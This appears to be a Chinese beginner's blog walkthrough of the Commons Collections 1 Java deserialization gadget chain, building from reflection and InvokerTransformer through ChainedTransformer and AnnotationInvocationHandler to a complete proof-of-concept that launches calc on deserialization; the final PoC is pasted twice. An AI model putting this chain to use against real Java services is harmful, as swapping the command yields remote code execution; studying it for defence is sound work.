java安全之CommonCollections1 TransformedMap链分析

admin 2022年4月23日02:26:16java安全之CommonCollections1 TransformedMap链分析已关闭评论93 views字数 12124阅读40分24秒阅读模式

前言

本人刚刚接触java安全(纯小白),自己的东西比较少,主要还是一个复现的过程师傅们见谅.

正文

普通的代码执行

java
Runtime.getRuntime().exec("calc");

java安全之CommonCollections1 TransformedMap链分析

java反射的代码执行

java
Runtime runtime = Runtime.getRuntime();
Class c = Runtime.class;
Method execMethod = c.getMethod("exec",String.class);
execMethod.invoke(runtime,"calc");

再看InvokerTransformer的transform

java
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

先来看看如何通过InvokerTransformer代码执行。看一下构造函数。

java
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

接收三个参数,由此可得

java
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(Runtime.getRuntime());

java安全之CommonCollections1 TransformedMap链分析

再找哪个类调用了transform,我们最终是要找到readObject实现反序列化

java安全之CommonCollections1 TransformedMap链分析

得到

java安全之CommonCollections1 TransformedMap链分析

最后找到TransformedMap的checkSetValue调用了transform,当然还有lazyMap

java安全之CommonCollections1 TransformedMap链分析

然后尝试利用TransformedMap这个类代码执行。

checkSeetValue

java
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

因为这个checkSetValue是私有方法,所以需要再往上找利用valueTransformer的地方

java
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

java
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

发现在decorate方法valueTransformer是可控的,所以可以调用TransformedMap.decorate。

有个问题是如何调用checkSetValue。

java安全之CommonCollections1 TransformedMap链分析

发现只有一个地方调用了checkSetvalue

```java
static class MapEntry extends AbstractMapEntryDecorator {

/* The parent map /
private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}
```

利用这个entry.setValue的方法是循环调用MapEntry

现在的代码是

java
public class cc1 {
public static void main(String[] args) {
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
objectObjectHashMap.put("123","456");
Map<Object,Object> transformedMap = TransformedMap.decorate(objectObjectHashMap, null, invokerTransformer);
for (Map.Entry entry:transformedMap.entrySet()){
entry.setValue(Runtime.getRuntime());
}
}}

java安全之CommonCollections1 TransformedMap链分析

这里实际上是自己写了一个循环去遍历,我们还是要找到一个类去遍历这个transformedMap,如果这个类恰好存在readObject又可以遍历transformedMap就再好不过了,然后

java安全之CommonCollections1 TransformedMap链分析

恰好找到了这个类

java安全之CommonCollections1 TransformedMap链分析

这个AnnotationInvocationHandler里面的memberValue调用了setValue方法,同时memberValue又是可控的

AnnotationInvocationHandler没有定义方法类型,默认为deafult只能在本包内使用,所以要想使用这个类可以通过反射调用。

java
Map<Object,Object> transformedMap = TransformedMap.decorate(objectObjectHashMap, null, invokerTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationdhdlConstructor.setAccessible(true);
Object o = annotationInvocationdhdlConstructor.newInstance(Override.class,transformedMap);

java安全之CommonCollections1 TransformedMap链分析

```java
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class cc1 {
public static void main(String[] args) throws Exception {
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap objectObjectHashMap = new HashMap<>();
objectObjectHashMap.put("123","456");
Map transformedMap = TransformedMap.decorate(objectObjectHashMap, null, invokerTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationdhdlConstructor.setAccessible(true);
Object o = annotationInvocationdhdlConstructor.newInstance(Override.class,transformedMap);
serialize(o);
unserialize("ser.bin");

}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
    Object obj = ois.readObject();
    return obj;
}

}
```

这里遇到两个问题,一个是Runtime不能被序列化,还有实际是new了这个类

java安全之CommonCollections1 TransformedMap链分析

Runtime.getruntime()不能序列化但是Runtime.class可以被序列化。

java
Class c = Runtime.class;
Method getRuntimeMethod = c.getMethod("getRuntime",null);
Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");

将它写成InvokerTransformer的形式,可以被序列化的版本

```java
Method getRuntimeMethod= (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);

Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);

new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
```

改完之后发现这是transform的循环调用,有一个类可以实现transofrom的循环调用就是ChainedTransformer。

然后看一下ChainedTransformer怎么用,看一下构造函数

```java
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}

/**
 * Transforms the input to result via each decorated transformer
 * 
 * @param object  the input object passed to the first transformer
 * @return the transformed result
 */
public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

```

需要传入一个Transformer[]数组,然后下面的transform实现一个递归调用

java
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

此时的Poc为

```java
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class cc1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap objectObjectHashMap = new HashMap<>();
objectObjectHashMap.put("123","456");
Map transformedMap = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationdhdlConstructor.setAccessible(true);
Object o = annotationInvocationdhdlConstructor.newInstance(Override.class,transformedMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
    Object obj = ois.readObject();
    return obj;
}

}

```

发现这样还是执行不了,调试看一下发现if这里的memberType为空

java安全之CommonCollections1 TransformedMap链分析

通过调试发现此处的type为我们随意传入的注解Override,

java安全之CommonCollections1 TransformedMap链分析

然后跟一下这个Override,发现这个Override是空的

java安全之CommonCollections1 TransformedMap链分析

所以我们要找到一个注解且这个注解的内容不为空,然后看一下上面的Target

java安全之CommonCollections1 TransformedMap链分析

发现他存在一个value,所以我们要修改两个地方

java安全之CommonCollections1 TransformedMap链分析
这个时候的poc为

```java
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class cc1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap objectObjectHashMap = new HashMap<>();
objectObjectHashMap.put("value","456");
Map transformedMap = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationdhdlConstructor.setAccessible(true);
Object o = annotationInvocationdhdlConstructor.newInstance(Target.class,transformedMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
    Object obj = ois.readObject();
    return obj;
}

}
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class cc1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap objectObjectHashMap = new HashMap<>();
objectObjectHashMap.put("value","456");
Map transformedMap = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationdhdlConstructor.setAccessible(true);
Object o = annotationInvocationdhdlConstructor.newInstance(Target.class,transformedMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
```

运行poc即可代码执行

参考链接:

P神java漫谈

b站白日梦组长:CommonsCollections反序列化(一)

OceanSec: https://oceansec.blog.csdn.net/article/details/122497284?spm=1001.2014.3001.5502

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月23日02:26:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   java安全之CommonCollections1 TransformedMap链分析https://cn-sec.com/archives/917269.html